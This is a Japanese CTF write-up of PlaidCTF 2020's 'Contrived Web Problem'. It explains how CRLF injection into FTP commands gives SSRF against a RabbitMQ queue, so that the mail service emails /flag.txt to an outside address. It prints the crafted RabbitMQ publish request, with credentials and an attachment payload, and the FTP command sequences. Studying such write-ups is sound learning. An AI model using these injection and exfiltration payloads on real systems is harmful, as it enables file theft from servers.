CTFtime.org / PlaidCTF 2020 / Contrived Web Problem
久々にちゃんとお勉強をしたので、記録しておく。
攻撃の概要
- ソースコードを見ると、
/flag.txt
があるので、これを何とか抜き出す - パスワード再発行機能があり、それにflag.txtを添付させる
- システムではメールの送信にキューイングシステムが使われており、キューに不正なメール送信リクエストを投げる
- キューに不正なリクエストを投げるには、FTPを使っている部分でCRLFインジェクションを行う
メールにflag.txtを添付させる???
/password-reset
まずはメールを送信している部分を見てみよう。
/password-reset
というAPIがあり、これを使うとパスワードの再発行ができる。
services/api/index.ts
app.post("/password-reset", async (req, res) => { let { email } = req.body; if (typeof email !== "string") { res.status(500).send("Bad body"); } let newPassword = Array.from(new Array(16), () => "abcdefghijklmnopqrstuvwxyz0123456789"[Math.floor(Math.random() * 36)]).join(""); let hashedPassword = await bcrypt.hash(newPassword, 14); await withClient((client) => client.query(` UPDATE user_auth SET password = $2 WHERE email = $1 `, [email, hashedPassword])); let channel = await rabbit.createChannel(); channel.sendToQueue("email", Buffer.from(JSON.stringify({ to: email, subject: "Password Reset", text: `Hello there, your new password is ${newPassword}`, }))); res.status(200).send("Password reset"); });
このコードを見ると、sentToQueueメソッドでメール送信リクエストをキューに投げていることが分かる。
jsonなので、
{ "to": "[email]", "subject": "Password Reset", "text": "Hello there, your new password is [newPassword]" }
って感じで、jsonが渡される。
キュー
これを受け取っているのが、以下の部分。
services/email/index.ts
let channel = await rabbit.createChannel(); channel.consume("email", async (msg) => { if (msg === null) { return; } channel.ack(msg); try { let data = JSON.parse(msg.content.toString()); await transport.sendMail({ from: "plaid2020problem@gmail.com", subject: "Your Account", ...data, }); } catch (e) { console.error(e); } })
先ほどのメッセージを受け取って、jsonをパースして、オプションに追加して、メール送信している。
特にバリデートはしてないっぽいので、キューに対して不正なリクエストを入れることができれば…
例えば、
{ "to": "[email]", "subject": "Evil Request", "text": "I win.", "attachments":[{"filename":"flag.txt","path":"/flag.txt"}] }
のようなものを入れることができれば、指定のアドレスに対して、flag.txtを送信することができる。
なので、あとは実現したいことは、
キューに対して、任意のリクエストを投げたい
という部分になる。
FTPでCRLFインジェクション
これはFTPサーバーへのリクエストを使うことで可能である。
FTPサーバーへのリクエストに対して、CRLFインジェクションを行うことで、SSRFとして、キューへのリクエスト送信が行える。
過程を見ていこう。
2つの解説を参考に、この解説記事を書いているが、どちらも最終的には同じことをしている。
Mrigank11さんの手法
CRLFインジェクションを行うことで、任意のファイルをアップロードすることができる。
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 Authorization: Basic dGVzdDp0ZXN0 Accept: */* Content-Type: application/json;charset=UTF-8 Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
このようにキューに対するリクエストをアップロードしておく。
アップロード手順としては、
USER user PASS test PORT 自分のIP,0,80 APPE zevtnax
- これを実行すると、PORTにアクセスしに来るので、zevtnaxという名前で保存したいものを送る(これを1で準備)
- 再度、CRLFインジェクションを使って、以下のようなFTPリクエストになるようにする
USER user PASS test PORT 172,32,56,72,0,15672 RETR zevtnax
なるほど。だが、これだけでは動かない。
FTPはすぐコネクションを切ってしまうから、RabbitMQ側が正常に処理できないらしい。
回避策として、リクエストの末尾に大量のごみを入れておくとうまくいくらしい。
Zeddyさんの手法
上とほぼ同じ。
- 上のリクエストの先頭にPNGマジックナンバーをくっつけて、pngファイルに偽装させる
- 1のファイルをプロファイル画像としてアップロードする
- CRLFインジェクションを使って、以下のようなFTPリクエストになるようにする
USER user PASS test PORT 172,32,56,72,0,15672 REST 6 RETR /user/???????/profile.png
これも成功率は100%じゃないという言及がある。
HTTPリクエストは永続的ではないから、動作がしばしば不安定になるらしい。
よって、リクエストの末尾に
GET / HTTP/1.1 Host: 172.32.56.72:15672
を1000回置いて、リクエストの有効時間を引き延ばしている。
疑問
- メッセージキューのIPが
172.32.56.72
であるというのはdocker-composeに書いてあるからいいけど、ポートが15672というのはどこから特定している?- 調べたら、RabbitMQはポート15672を使うものらしい
- Mrigank11さんの手法では、Authenticationまで特定できているが、どこからとってきた?
- わからん。どこみればいいんかね